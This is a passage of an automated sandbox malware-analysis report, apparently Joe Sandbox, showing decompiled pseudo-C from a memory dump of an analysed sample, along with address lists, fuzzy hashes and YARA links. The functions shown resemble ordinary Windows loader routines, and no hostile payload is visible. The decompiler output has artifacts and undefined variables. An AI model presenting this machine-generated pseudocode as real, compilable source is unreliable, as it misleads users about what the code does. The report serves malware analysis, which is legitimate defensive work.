														 *(_t197 + 4) = _t293;
														continue;
													}
												}
											}
											goto L72;
										}
										if(_v52 != 0) {
											_t245 = _v52;
											do {
												asm("bsr esi, ebx");
												E34C924D0( *((intOrPtr*)(_t303 + 0x14)) + (_t311 + _t311 * 2) * 4 + 0x188);
												asm("btr ebx, esi");
											} while (_t245 != 0);
											_t241 = _v56;
											_t311 = _v40;
										}
										if(_t311 != 0) {
											_t246 = _v40;
											do {
												asm("bsr esi, ebx");
												E34C924D0( *((intOrPtr*)(_t303 + 0x14)) + (_t311 + _t311 * 2) * 4 + 8);
												asm("btr ebx, esi");
											} while (_t246 != 0);
											_t241 = _v56;
										}
										goto L7;
									} else {
										_t270 =  *(_t302 + 4);
										L40:
										_v44 = _t270;
									}
								}
								L41:
								_t302 =  *((intOrPtr*)(_t302 + 0xc)) - 0xc;
							} while (_t302 != _v16);
							_v52 = _t248;
							_t241 = _v56;
							_v40 = _t311;
						}
						_t303 = _a12;
						E34C7BD3D(_t303, _t270);
						_t211 = _v52;
						_v16 = _t311;
						if(_t311 != 0) {
							_t247 = _t311;
							do {
								asm("bsf esi, ebx");
								L34C92330( *((intOrPtr*)(_t303 + 0x14)) + (_t311 + _t311 * 2) * 4 + 8,  *((intOrPtr*)(_t303 + 0x14)) + (_t311 + _t311 * 2) * 4 + 8);
								asm("btr ebx, esi");
							} while (_t247 != 0);
							_t241 = _v56;
							_t311 = _v40;
							_t211 = _v52;
						}
						if(_t211 != 0) {
							_t244 = _v52;
							do {
								asm("bsf esi, ebx");
								L34C92330( *((intOrPtr*)(_t303 + 0x14)) + (_t311 + _t311 * 2) * 4 + 0x188,  *((intOrPtr*)(_t303 + 0x14)) + (_t311 + _t311 * 2) * 4 + 0x188);
								asm("btr ebx, esi");
							} while (_t244 != 0);
							_t241 = _v56;
							_t311 = _v40;
						}
						goto L48;
					} else {
						L7:
						_t169 = _a12;
						_t252 =  *(_t169 + 8);
						_t284 =  *((intOrPtr*)(_t169 + 0xc));
						do {
							_t170 =  *((intOrPtr*)(_t169 + 0xe4));
							_t297 = _t284;
							_v32 = _t252;
							_v58 = 0;
							_v59 = 0;
							_v57 = _t170;
							_t285 = _t297 + _t241;
							_v28 = _t285;
							if(_t170 == 0) {
								_t178 = (_t252 - 0x00000001 ^ _t252) & 0x0000ffff ^ _t252;
								_t252 = _t178;
								if(_v60 != 0) {
									_t252 = (_t252 >> 0x00000010) - 0x00000001 << 0x00000010 | _t178 & 0x0000ffff;
								}
								if(_v61 == 0) {
									if(_t285 == 0) {
										_v58 = 1;
										_t252 = _t252 ^ (_t252 + 0x00000001 ^ _t252) & 0x0000ffff;
									} else {
										_t285 = _t285 - 1;
										_v28 = _t285;
									}
								}
								if(_t241 != 0 || _v60 != _t241) {
									if(_t285 != 0) {
										if((_t252 & 0xffff0000) == 0) {
											_t252 = _t252 + 0x10000;
											_v59 = 1;
										}
									}
								}
							}
							_t284 = _t297;
							asm("lock cmpxchg8b [esi]");
							_t241 = _v56;
							_t252 = _v32;
							_t169 = _a12;
						} while (_t252 != _v32 || _t284 != _t297);
						if(_v59 != 0) {
							_push( *((intOrPtr*)(_t169 + 0x24)));
							E34CC40A0();
						}
						 *_a16 = _v58;
						return _v57;
					}
				}
				L72:
			}

0x34c864f8
0x34c864fc
0x34c864fe
0x34c86503
0x34c86509
0x34c86511
0x34c86519
0x34c86521
0x34c86525
0x34c86529
0x34c86531
0x34ce0eef
0x34ce0ef3
0x34ce0efa
0x00000000
0x34c86537
0x34c86537
0x34c86539
0x34c8653d
0x34c86541
0x34c86551
0x34c86554
0x34c8655a
0x34c86560
0x34c86565
0x34c86573
0x34c8657a
0x34c86580
0x34c86580
0x34c86583
0x34c86586
0x34c86589
0x34c8658d
0x34c8658e
0x34c86594
0x34c86688
0x34c86715
0x34c8671e
0x34c86727
0x34c86732
0x34c86735
0x34c8673e
0x34c86741
0x34c86745
0x34c86748
0x34c8674a
0x34c86750
0x34c868f1
0x34c868f6
0x34c868f8
0x34c868f9
0x34c868fa
0x34c868fb
0x34c868fc
0x34c868fd
0x34c868fe
0x34c868ff
0x34c86905
0x34c86908
0x34c8690b
0x34c8690f
0x34c8691e
0x00000000
0x34c86926
0x34c86912
0x34c86756
0x34c86756
0x34c8675e
0x34c86760
0x34c86763
0x34c86765
0x34c86768
0x34c86776
0x34c8677e
0x00000000
0x34c86784
0x34c86784
0x34c86790
0x34c86795
0x34c86799
0x00000000
0x34c8679f
0x34c867a3
0x34c867a6
0x34c867a8
0x34c867a9
0x34c867ab
0x34c867af
0x00000000
0x34c867af
0x34c86799
0x34c8677e
0x34c8668e
0x34c8668e
0x34c86692
0x34c86697
0x34c8669c
0x34c866a2
0x34c866a8
0x34c866ab
0x34c866ab
0x34c866af
0x34c866af
0x00000000
0x34c866af
0x34c8659a
0x34c8659a
0x34c8659e
0x00000000
0x34c8659e
0x00000000
0x34c865a3
0x34c865a3
0x34c865aa
0x34c865ad
0x34c866f7
0x34c86701
0x34c86705
0x34ce0f06
0x34ce0f1a
0x34ce0f1a
0x34c86705
0x34c865b5
0x34c867c0
0x34c867c3
0x34c867c6
0x34c867cb
0x34c867cf
0x34c867d1
0x34c867d7
0x34c867d9
0x34c867e0
0x34c867ea
0x34c867ef
0x34c867f3
0x34c867fa
0x34c867ff
0x34ce0f27
0x00000000
0x34ce0f2d
0x34ce0f2d
0x00000000
0x34ce0f2d
0x34c86870
0x34c86870
0x34c86870
0x34c8687a
0x00000000
0x00000000
0x34c8687c
0x34c86881
0x00000000
0x34c86883
0x34c86883
0x34c86888
0x00000000
0x34c8688a
0x34c8688a
0x34c8688c
0x34c8688f
0x34c8689a
0x34c8689d
0x34c868a2
0x00000000
0x34c868a4
0x34c868a4
0x34c868a6
0x34c868a9
0x34c868ab
0x00000000
0x34c868ab
0x34c868a2
0x34c86888
0x00000000
0x34c86881
0x34c868b5
0x34c868e8
0x34ce0f64
0x34ce0f67
0x34ce0f76
0x34ce0f7b
0x34ce0f7e
0x34ce0f82
0x34ce0f86
0x34ce0f86
0x34c868b9
0x34c868bf
0x34c868c3
0x34c868c6
0x34c868d3
0x34c868d8
0x34c868db
0x34c868df
0x34c868df
0x00000000
0x34c86805
0x34c86805
0x34c86808
0x34c86808
0x34c86808
0x34c867ff
0x34c8680c
0x34c8680f
0x34c86812
0x34c86818
0x34c8681c
0x34c86820
0x34c86820
0x34c86824
0x34c8682b
0x34c86830
0x34c86834
0x34c8683a
0x34c8683c
0x34c86840
0x34c86843
0x34c86850
0x34c86855
0x34c86858
0x34c8685c
0x34c86860
0x34c86864
0x34c86864
0x34c8686a
0x34ce0f35
0x34ce0f39
0x34ce0f3c
0x34ce0f4b
0x34ce0f50
0x34ce0f53
0x34ce0f57
0x34ce0f5b
0x34ce0f5b
0x00000000
0x34c865bb
0x34c865bb
0x34c865bb
0x34c865be
0x34c865c4
0x34c865d0
0x34c865d0
0x34c865d6
0x34c865d8
0x34c865dc
0x34c865e1
0x34c865e6
0x34c865ea
0x34c865ed
0x34c865f3
0x34c865fd
0x34c86604
0x34c86606
0x34c86612
0x34c86612
0x34c86619
0x34c8661d
0x34c866bb
0x34c866c5
0x34c86623
0x34c86623
0x34c86624
0x34c86624
0x34c8661d
0x34c8662a
0x34c86634
0x34c866d2
0x34c866d8
0x34c866de
0x34c866de
0x34c866d2
0x34c86634
0x34c8662a
0x34c8663e
0x34c86647
0x34c8664b
0x34c8664f
0x34c86651
0x34c86654
0x34c8666b
0x34c866ea
0x34c866ed
0x34c866ed
0x34c86676
0x34c86680
0x34c86680
0x34c865b5
0x00000000

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f177ba2a9c2698d1775d10664fdf0fbf9d9d297b8446bb745b126d455d1d1b08
Instruction ID: 65d0512ca04a64318aef0be698e525829b3d1066eb9e7227475f00875cb97266
Opcode Fuzzy Hash: f177ba2a9c2698d1775d10664fdf0fbf9d9d297b8446bb745b126d455d1d1b08
Instruction Fuzzy Hash: C9E1AD74608345DFD704CF28C090A5ABBE2FF88358F448A6DF4898B361DB31E946CB92

Uniqueness

Uniqueness Score: -1.00%

Function 34CAE507 Relevance: 1.8, APIs: 1, Instructions: 278
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E34CAE507(intOrPtr* __ecx, intOrPtr* __edx) {
				char _v5;
				signed int _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				intOrPtr _v44;
				char _v48;
				signed int _v52;
				signed int _v56;
				char _v64;
				signed int _v68;
				signed int _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				signed int _v84;
				char _v88;
				signed int _t78;
				void* _t81;
				char* _t84;
				intOrPtr _t85;
				intOrPtr _t97;
				signed int _t100;
				signed int _t105;
				intOrPtr _t108;
				signed int _t116;
				signed int _t117;
				signed char* _t118;
				signed int _t125;
				signed int _t126;
				signed char* _t127;
				intOrPtr* _t131;
				char* _t132;
				intOrPtr* _t151;
				signed int _t152;
				intOrPtr _t153;
				signed int _t155;
				signed int _t156;

				_t151 = __ecx;
				_t131 = __edx;
				_v28 = __edx;
				_t153 =  *((intOrPtr*)(__ecx + 0x20));
				_v32 =  *((intOrPtr*)(__ecx + 0x60));
				if(E34CAE662(__ecx, 0) != 0) {
					return 0xc000022d;
				} else {
					_t135 =  *((intOrPtr*)(_t153 + 0x18));
					_t6 = _t153 + 0x24; // 0x123
					_t78 = _t6;
					_t146 = _t78;
					_v16 = _t78;
					E34C9DF36( *((intOrPtr*)(_t153 + 0x18)), _t146, 0x14a5);
					_v88 = 0x18;
					_push("true");
					_v84 = 0;
					_pop(0x840);
					if( *0x34d75d58 != 0) {
					}
				}
				_v76 = 0x840;
				_v80 = _t131;
				_v72 = 0;
				_v68 = 0;
				_t81 = E34C93C40();
				_t132 = 0x7ffe0384;
				if(_t81 != 0) {
					_t84 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t84 = 0x7ffe0384;
				}
				if( *_t84 != 0) {
					_t85 =  *[fs:0x30];
					__eflags =  *(_t85 + 0x240) & 0x00000004;
					if(( *(_t85 + 0x240) & 0x00000004) != 0) {
						_t126 = E34C93C40();
						__eflags = _t126;
						if(_t126 == 0) {
							_t127 = 0x7ffe0385;
						} else {
							_t127 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						__eflags =  *_t127 & 0x00000020;
						if(( *_t127 & 0x00000020) != 0) {
							_t146 = _t146 | 0xffffffff;
							_t135 = 0x1485;
							E34D00227(0x1485, _t146, 0xffffffff, 0xffffffff, 0, 0);
						}
					}
				}
				if(( *( *[fs:0x30] + 0x68) & 0x00040000) != 0) {
					_t135 = _v28;
					_push(0);
					_push(0);
					_push(0);
					_v48 =  *_t135;
					_v44 =  *((intOrPtr*)(_t135 + 4));
					_push("true");
					_push( &_v48);
					_push(0x26);
					E34CC4580();
				}
				_v24 = 0;
				while(1) {
					_push("true");
					_push(5);
					_push( &_v64);
					_push( &_v88);
					_push(0x100021);
					_push( &_v12);
					_t155 = E34CC2CE0();
					if(_t155 >= 0) {
						break;
					}
					__eflags = _t155 - 0xc0000034;
					if(_t155 == 0xc0000034) {
						L38:
						_t155 = 0xc0000135;
						L39:
						__eflags = _t155;
						if(_t155 < 0) {
							L19:
							return _t155;
						}
						break;
					}
					__eflags = _t155 - 0xc000003a;
					if(_t155 == 0xc000003a) {
						goto L38;
					}
					__eflags = _t155 - 0xc0000022;
					if(_t155 != 0xc0000022) {
						goto L39;
					}
					__eflags = _v24;
					if(__eflags != 0) {
						goto L19;
					}
					_t135 = _t151;
					_t125 = L34CFFBC2(_t151, __eflags);
					__eflags = _t125;
					if(_t125 == 0) {
						goto L19;
					}
					_v24 = 1;
				}
				if( *0x34d75d3c != 0) {
					_t146 = _v12;
					_t155 = E34D03ECC(_t151, _v12, _t135);
					__eflags = _t155;
					if(_t155 >= 0) {
						goto L10;
					}
					__eflags =  *0x34d75d10;
					if( *0x34d75d10 != 0) {
						L18:
						_push(_v12);
						E34CC2A80();
						goto L19;
					}
				}
				L10:
				if(( *(_t151 + 0x10) & 0x01000000) != 0) {
					_t97 =  *[fs:0x30];
					__eflags =  *(_t97 + 3) & 0x00000010;
					if(( *(_t97 + 3) & 0x00000010) != 0) {
						goto L11;
					}
					_t146 =  *(_t151 + 0x20);
					_t155 = E34D03E62(_v12,  *(_t151 + 0x20),  &_v36, "true",  &_v5);
					__eflags = _t155;
					if(_t155 < 0) {
						goto L18;
					}
				}
				L11:
				_push(_v12);
				_push("true");
				_push("true");
				_push(0);
				_push(0);
				_push(0xd);
				_push( &_v20);
				_t155 = E34CC2E50();
				if(_t155 < 0) {
					__eflags = _t155 - 0xc000047e;
					if(_t155 == 0xc000047e) {
						L56:
						_t100 = E34CFC3B0(_t155);
						_t152 = _v16;
						_t155 = _t100;
						L57:
						E34CBC98F(_t155, 0x1485, 0, _t152);
						goto L18;
					}
					__eflags = _t155 - 0xc000047f;
					if(_t155 == 0xc000047f) {
						goto L56;
					}
					__eflags = _t155 - 0xc0000462;
					if(_t155 == 0xc0000462) {
						goto L56;
					}
					_t152 = _v16;
					__eflags = _t155 - 0xc0000017;
					if(_t155 != 0xc0000017) {
						__eflags = _t155 - 0xc000009a;
						if(_t155 != 0xc000009a) {
							__eflags = _t155 - 0xc000012d;
							if(_t155 != 0xc000012d) {
								_v56 = _t152;
								_push( &_v40);
								_push(1);
								_v52 = _t155;
								_push( &_v56);
								_push(1);
								_push(2);
								_push(0xc000007b);
								_t105 = E34CC4020();
								__eflags = _t105;
								if(_t105 >= 0) {
									__eflags =  *0x34d765f4 - 3;
									if( *0x34d765f4 != 3) {
										 *0x34d75a9c =  *0x34d75a9c + 1;
									}
								}
							}
						}
					}
					goto L57;
				}
				if(E34C93C40() != 0) {
					_t132 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t132 != 0) {
					_t108 =  *[fs:0x30];
					__eflags =  *(_t108 + 0x240) & 0x00000004;
					if(( *(_t108 + 0x240) & 0x00000004) != 0) {
						_t117 = E34C93C40();
						__eflags = _t117;
						if(_t117 == 0) {
							_t118 = 0x7ffe0385;
						} else {
							_t118 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						__eflags =  *_t118 & 0x00000020;
						if(( *_t118 & 0x00000020) != 0) {
							E34D00227(0x1486, _t146 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
						}
					}
				}
				if(( *(_t151 + 0x10) & 0x00000100) != 0) {
					L21:
					__eflags = _t155;
					if(_t155 < 0) {
						goto L17;
					} else {
						goto L16;
					}
				} else {
					if( *0x34d768e4 != 0) {
						_t156 =  *0x34d75b64; // 0x0
						asm("ror esi, cl");
						 *0x34d791e0(_v12, _v28, "true");
						_t116 =  *(_t156 ^  *0x7ffe0330)();
						_t70 = _t116 + 0x3ffffddb; // 0x3ffffddb
						asm("sbb esi, esi");
						_t155 =  ~_t70 & _t116;
						goto L21;
					}
					L16:
					_t155 = E34CA1332(_t151, _v20);
					if(_v32 != 0) {
						__eflags = _t155;
						if(_t155 < 0) {
							goto L17;
						}
						 *(_t151 + 0x64) = _v12;
						 *((intOrPtr*)(_t151 + 0xc)) = _v20;
						goto L19;
					}
					L17:
					_push(_v20);
					E34CC2A80();
					goto L18;
				}
			}

0x34cae512
0x34cae514
0x34cae518
0x34cae51e
0x34cae521
0x34cae52b
0x00000000
0x34cae531
0x34cae531
0x34cae534
0x34cae534
0x34cae53c
0x34cae53e
0x34cae541
0x34cae548
0x34cae556
0x34cae558
0x34cae55b
0x34cae55c
0x34cae55c
0x34cae55c
0x34cae563
0x34cae566
0x34cae569
0x34cae56c
0x34cae56f
0x34cae574
0x34cae57b
0x34cef88f
0x34cae581
0x34cae581
0x34cae581
0x34cae586
0x34cef899
0x34cef89f
0x34cef8a6
0x34cef8ac
0x34cef8b1
0x34cef8b3
0x34cef8c5
0x34cef8b5
0x34cef8be
0x34cef8be
0x34cef8ca
0x34cef8cd
0x34cef8d9
0x34cef8dc
0x34cef8e1
0x34cef8e1
0x34cef8cd
0x34cef8a6
0x34cae599
0x34cef8eb
0x34cef8ee
0x34cef8ef
0x34cef8f0
0x34cef8f3
0x34cef8f9
0x34cef8ff
0x34cef901
0x34cef902
0x34cef904
0x34cef904
0x34cae59f
0x34cae5a2
0x34cae5a2
0x34cae5a4
0x34cae5a9
0x34cae5ad
0x34cae5ae
0x34cae5b6
0x34cae5bc
0x34cae5c0
0x00000000
0x00000000
0x34cef90e
0x34cef914
0x34cef94b
0x34cef94b
0x34cef950
0x34cef950
0x34cef952
0x34cae655
0x00000000
0x34cae655
0x00000000
0x34cef958
0x34cef916
0x34cef91c
0x00000000
0x00000000
0x34cef91e
0x34cef924
0x00000000
0x00000000
0x34cef926
0x34cef92a
0x00000000
0x00000000
0x34cef930
0x34cef932
0x34cef937
0x34cef939
0x00000000
0x00000000
0x34cef93f
0x34cef93f
0x34cae5cd
0x34cef95d
0x34cef968
0x34cef96a
0x34cef96c
0x00000000
0x00000000
0x34cef972
0x34cef979
0x34cae64d
0x34cae64d
0x34cae650
0x00000000
0x34cae650
0x34cef97f
0x34cae5d3
0x34cae5da
0x34cef984
0x34cef98a
0x34cef98e
0x00000000
0x00000000
0x34cef994
0x34cef9a9
0x34cef9ab
0x34cef9ad
0x00000000
0x00000000
0x34cef9b3
0x34cae5e0
0x34cae5e0
0x34cae5e6
0x34cae5eb
0x34cae5ed
0x34cae5ef
0x34cae5f1
0x34cae5f3
0x34cae5f9
0x34cae5fd
0x34cef9b8
0x34cef9be
0x34cefa1e
0x34cefa1f
0x34cefa24
0x34cefa27
0x34cefa29
0x34cefa33
0x00000000
0x34cefa33
0x34cef9c0
0x34cef9c6
0x00000000
0x00000000
0x34cef9c8
0x34cef9ce
0x00000000
0x00000000
0x34cef9d0
0x34cef9d3
0x34cef9d9
0x34cef9db
0x34cef9e1
0x34cef9e3
0x34cef9e9
0x34cef9ee
0x34cef9f1
0x34cef9f2
0x34cef9f7
0x34cef9fa
0x34cef9fb
0x34cef9fd
0x34cef9ff
0x34cefa04
0x34cefa09
0x34cefa0b
0x34cefa0d
0x34cefa14
0x34cefa16
0x34cefa16
0x34cefa14
0x34cefa0b
0x34cef9e9
0x34cef9e1
0x00000000
0x34cef9d9
0x34cae60a
0x34cefa46
0x34cefa46
0x34cae613
0x34cefa51
0x34cefa57
0x34cefa5e
0x34cefa64
0x34cefa69
0x34cefa6b
0x34cefa7d
0x34cefa6d
0x34cefa76
0x34cefa76
0x34cefa82
0x34cefa85
0x34cefa9b
0x34cefa9b
0x34cefa85
0x34cefa5e
0x34cae620
0x34cae65c
0x34cae65c
0x34cae65e
0x00000000
0x34cae660
0x00000000
0x34cae660
0x34cae622
0x34cae629
0x34cefaad
0x34cefac1
0x34cefac7
0x34cefacd
0x34cefacf
0x34cefad7
0x34cefad9
0x00000000
0x34cefad9
0x34cae62f
0x34cae63d
0x34cae63f
0x34cefae0
0x34cefae2
0x00000000
0x00000000
0x34cefaeb
0x34cefaf1
0x00000000
0x34cefaf1
0x34cae645
0x34cae645
0x34cae648
0x00000000
0x34cae648

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 230cef689659867ecaf73b4daac207088de99194c6191943547601ae84828ccb
Instruction ID: bac081d525ff61aa98321ab56442f45b97f4b40aad9359ef4e8842ca7be5c3d7
Opcode Fuzzy Hash: 230cef689659867ecaf73b4daac207088de99194c6191943547601ae84828ccb
Instruction Fuzzy Hash: 82A1F271E40719EFFB218BA4C844BAD7BA6AF04794F090665E910EB290DB749D81CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 34C81051 Relevance: 1.8, APIs: 1, Instructions: 259
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E34C81051(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char* _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				intOrPtr* _v92;
				void* _v96;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t151;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				intOrPtr _t160;
				signed int _t161;
				signed int _t172;
				intOrPtr _t180;
				signed int _t195;
				signed int _t196;
				char _t197;
				signed int _t200;
				void* _t201;
				intOrPtr _t202;
				signed int _t204;
				intOrPtr* _t206;
				intOrPtr _t207;
				char _t209;
				signed int _t210;
				intOrPtr _t214;
				intOrPtr* _t220;
				signed int _t222;
				signed int _t223;
				intOrPtr _t226;
				intOrPtr _t227;
				void* _t232;
				signed int _t233;
				signed int _t234;
				void* _t235;
				intOrPtr _t238;
				signed int _t239;
				void* _t243;
				signed int _t244;
				signed int _t246;
				signed int _t247;

				_t246 = (_t244 & 0xfffffff8) - 0x6c;
				_v8 =  *0x34d7b370 ^ _t246;
				_t238 = __edx;
				_t226 = __ecx;
				_v36 = 0;
				_t204 = 6;
				_t232 =  &_v84;
				_v52 =  *((intOrPtr*)(__ecx + 0x48));
				_v40 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 = __edx;
				_v48 = __ecx;
				_t151 = memset(_t232, 0, _t204 << 2);
				_t247 = _t246 + 0xc;
				_t233 = _t232 + _t204;
				if(_v52 == 2) {
					_t234 =  *(_t226 + 0x60);
					_t200 =  *(_t226 + 0x64);
					_v63 =  *((intOrPtr*)(_t226 + 0x4c));
					_t153 =  *((intOrPtr*)(_t226 + 0x58));
					_v104 = _t153;
					_v76 = _t153;
					_t154 =  *((intOrPtr*)(_t226 + 0x5c));
					_v100 = _t154;
					_v72 = _t154;
					_t155 = 0;
					L19:
					_v80 = _t200;
					_v84 = _t234;
					L8:
					if( *((intOrPtr*)(_t226 + 0x74)) > 0) {
						_t206 = _t226 + 0x84;
						_v92 = _t206;
						while(1) {
							_t207 =  *_t206;
							if(_t207 >= 0 || _t207 == 0x80000000) {
								break;
							}
							_t155 = _t155 + 1;
							_t206 = _v92 + 0x10;
							_v92 = _t206;
							if(_t155 <  *((intOrPtr*)(_t226 + 0x74))) {
								continue;
							}
							goto L9;
						}
						_v88 = _t155 << 4;
						_t239 = _v88;
						_t209 = _t226 +  *((intOrPtr*)(_t239 + _t226 + 0x78));
						_v44 = _t209;
						asm("adc eax, [esi+edx+0x7c]");
						_v24 = 0;
						_v28 = _t209;
						_v20 =  *((intOrPtr*)(_t239 + _t226 + 0x80));
						_t160 =  *_v92;
						_v36 =  &_v28;
						_t238 = _v32;
						_v16 = _t160;
						if( *(_t226 + 0x4e) >= 0 || _t160 != 0x80000000) {
							goto L9;
						} else {
							 *((intOrPtr*)(_t209 + 8)) = 0;
							 *((intOrPtr*)(_t209 + 0xc)) = 0;
							 *((intOrPtr*)(_t209 + 0x14)) = 0;
							 *((intOrPtr*)(_t209 + 0x10)) = _v20;
							_t214 = 0;
							_t172 = _t238 + 0x66;
							_v92 = 0;
							_v88 = _t172;
							do {
								if( *((char*)(_t172 - 2)) == 0) {
									goto L31;
								}
								_t214 = _v92;
								if(( *_t172 & 0x000000ff) == ( *(_t226 + 0x4e) & 0x7fff)) {
									_t172 = E34CC6600(1, _t214 + 0x20, 0);
									_t214 = _v44;
									 *(_t214 + 8) = _t172;
									 *((intOrPtr*)(_t214 + 0xc)) = 0;
									L34:
									if(_v40 == 0) {
										goto L9;
									}
									_t202 = _v40;
									_t236 = _t202 + 0x1c;
									L34C92330(_t172, _t202 + 0x1c);
									 *((intOrPtr*)(_t202 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									_t176 =  *((intOrPtr*)(_t202 + 0x94));
									if( *((intOrPtr*)(_t202 + 0x94)) != 0) {
										L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t176);
									}
									_t180 = E34C95D90(_t214,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _v20 + 0x10);
									 *((intOrPtr*)(_t202 + 0x94)) = _t180;
									if(_t180 != 0) {
										 *((intOrPtr*)(_t180 + 8)) = _v20;
										 *((intOrPtr*)( *((intOrPtr*)(_t202 + 0x94)) + 0xc)) = _v16;
										_t220 =  *((intOrPtr*)(_t202 + 0x94));
										 *_t220 = _t220 + 0x10;
										 *((intOrPtr*)(_t220 + 4)) = 0;
										E34CC88C0( *((intOrPtr*)( *((intOrPtr*)(_t202 + 0x94)))), _v28, _v20);
										_t247 = _t247 + 0xc;
									}
									 *((intOrPtr*)(_t202 + 0x20)) = 0;
									E34C924D0(_t236);
									_t210 = _v76;
									_t161 = _v80;
									_t200 = _v84;
									_t234 = _v88;
									L10:
									_t227 =  *((intOrPtr*)(_t238 + 0x1c));
									_v44 = _t227;
									if(_t227 != 0) {
										 *0x34d791e0(_v48 + 0x38, _v52, _v63, _t161, _t210, _t234, _t200, _v36,  *((intOrPtr*)(_t238 + 0x20)));
										_v44();
									}
									_pop(_t235);
									_pop(_t243);
									_pop(_t201);
									return L34CC4B50(0, _t201, _v8 ^ _t247, _t227, _t235, _t243);
								}
								_t172 = _v88;
								L31:
								_t214 = _t214 + 1;
								_t172 = _t172 + 0x18;
								_v92 = _t214;
								_v88 = _t172;
							} while (_t214 < 4);
							goto L34;
						}
					}
					L9:
					_t161 = _v104;
					_t210 = _v100;
					goto L10;
				}
				_t234 = _t233 | 0xffffffff;
				_t200 = _t234;
				_v84 = _t234;
				_v80 = _t200;
				if( *((intOrPtr*)(_t238 + 0x4c)) == _t151) {
					_t222 = _v72;
					_v105 = _v64;
					_t195 = _v76;
				} else {
					_t197 =  *((intOrPtr*)(_t238 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t197) {
						_v63 = _t197;
					}
					_t195 = _v76 |  *(_t238 + 0x40);
					_t222 = _v72 |  *(_t238 + 0x44);
					_t234 =  *(_t238 + 0x38);
					_t200 =  *(_t238 + 0x3c);
					_v76 = _t195;
					_v72 = _t222;
					_v84 = _t234;
					_v80 = _t200;
				}
				_v104 = _t195;
				_v100 = _t222;
				if( *((char*)(_t238 + 0xc4)) != 0) {
					_t226 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t238 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t238 + 0xc5));
						_t226 = _v48;
					}
					_t196 = _t195 |  *(_t238 + 0xb8);
					_t223 = _t222 |  *(_t238 + 0xbc);
					_t234 = _t234 &  *(_t238 + 0xb0);
					_t200 = _t200 &  *(_t238 + 0xb4);
					_v104 = _t196;
					_v76 = _t196;
					_v100 = _t223;
					_v72 = _t223;
					_v84 = _t234;
					_v80 = _t200;
				}
				_t155 = 0;
				if(_v105 == 0) {
					_v52 = 0;
					_t234 = 0;
					_t200 = 0;
					 *((intOrPtr*)(_t226 + 0x74)) = 0;
					goto L19;
				} else {
					_v52 = 1;
					goto L8;
				}
			}

0x34c81059
0x34c81063
0x34c81069
0x34c8106d
0x34c8106f
0x34c81076
0x34c8107a
0x34c8107e
0x34c81088
0x34c81093
0x34c81097
0x34c8109b
0x34c8109b
0x34c8109b
0x34c8109d
0x34cdf1b9
0x34cdf1bc
0x34cdf1bf
0x34cdf1c3
0x34cdf1c6
0x34cdf1ca
0x34cdf1ce
0x34cdf1d1
0x34cdf1d5
0x34cdf1d9
0x34cdf255
0x34cdf255
0x34cdf259
0x34c81118
0x34c8111c
0x34cdf262
0x34cdf268
0x34cdf26c
0x34cdf26c
0x34cdf270
0x00000000
0x00000000
0x34cdf27e
0x34cdf27f
0x34cdf282
0x34cdf289
0x00000000
0x00000000
0x00000000
0x34cdf28b
0x34cdf295
0x34cdf29b
0x34cdf29f
0x34cdf2a3
0x34cdf2a7
0x34cdf2ab
0x34cdf2b5
0x34cdf2c0
0x34cdf2c4
0x34cdf2ca
0x34cdf2d4
0x34cdf2d8
0x34cdf2dc
0x00000000
0x34cdf2ed
0x34cdf2ef
0x34cdf2f2
0x34cdf2f5
0x34cdf2fc
0x34cdf301
0x34cdf303
0x34cdf306
0x34cdf30a
0x34cdf30e
0x34cdf312
0x00000000
0x00000000
0x34cdf323
0x34cdf327
0x34cdf348
0x34cdf34d
0x34cdf351
0x34cdf354
0x34cdf357
0x34cdf35c
0x00000000
0x00000000
0x34cdf362
0x34cdf366
0x34cdf36a
0x34cdf378
0x34cdf37b
0x34cdf383
0x34cdf392
0x34cdf392
0x34cdf3aa
0x34cdf3af
0x34cdf3b7
0x34cdf3bd
0x34cdf3ca
0x34cdf3cd
0x34cdf3d6
0x34cdf3da
0x34cdf3ed
0x34cdf3f2
0x34cdf3f2
0x34cdf3f8
